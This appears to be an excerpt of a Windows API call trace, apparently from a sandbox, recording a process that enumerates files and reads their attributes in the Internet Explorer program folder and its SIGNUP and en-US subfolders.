	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27a3bdc, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb27a3bdc, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6b1085f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1
	[0054.967] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23391ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb23391ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23854ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27fbdf3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb27fbdf3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e87a7f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2e87a7f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2eadbdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4510, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a5d3f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a5d3f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2aa96b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d665b0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d665b0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d8c70f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d8c70f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa96b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2aa96b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2acf818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4239426f, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x4239426f, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x67fe631c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x40df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0ea3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x68b0ea3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x68b34b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x56df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0054.968] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251ba00 | out: lpFindFileData=0x1251ba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.968] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe"), fInfoLevelId=0x0, lpFileInformation=0x125e53b8 | out: lpFileInformation=0x125e53b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800)) returned 1
	[0054.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieshims.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5408 | out: lpFileInformation=0x125e5408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27fbdf3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb27fbdf3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31000)) returned 1
	[0054.969] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilercore.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e5458 | out: lpFileInformation=0x125e5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d8c70f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d8c70f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400)) returned 1
	[0054.970] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files (x86)\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0x125e54a8 | out: lpFileInformation=0x125e54a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files (x86)\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.970] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.970] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.970] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1
	[0054.970] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.970] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.970] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\install.ins"), fInfoLevelId=0x0, lpFileInformation=0x125e5548 | out: lpFileInformation=0x125e5548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc)) returned 1
	[0054.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US" (normalized: "c:\\program files (x86)\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x125e5598 | out: lpFileInformation=0x125e5598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0054.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US" (normalized: "c:\\program files (x86)\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.971] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.971] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.971] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1
	[0054.971] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1
	[0054.971] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1
	[0054.971] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1
	[0054.971] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3537636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3537636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81b77500, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1
	[0054.971] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1
	[0054.972] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1
	[0054.972] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1
	[0054.972] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1
	[0054.972] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b99c | out: lpFindFileData=0x1251b99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.972] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsprofilercore.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e5908 | out: lpFileInformation=0x125e5908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0054.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\hmmapi.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e5958 | out: lpFileInformation=0x125e5958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.975] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iedvtool.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e59a8 | out: lpFileInformation=0x125e59a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1
	[0054.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ieinstal.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e59f8 | out: lpFileInformation=0x125e59f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0054.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ielowutil.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e5a48 | out: lpFileInformation=0x125e5a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0054.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iexplore.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e5a98 | out: lpFileInformation=0x125e5a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3537636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3537636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81b77500, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1
	[0054.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdbgui.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e5ae8 | out: lpFileInformation=0x125e5ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00)) returned 1
	[0054.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125e5b38 | out: lpFileInformation=0x125e5b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
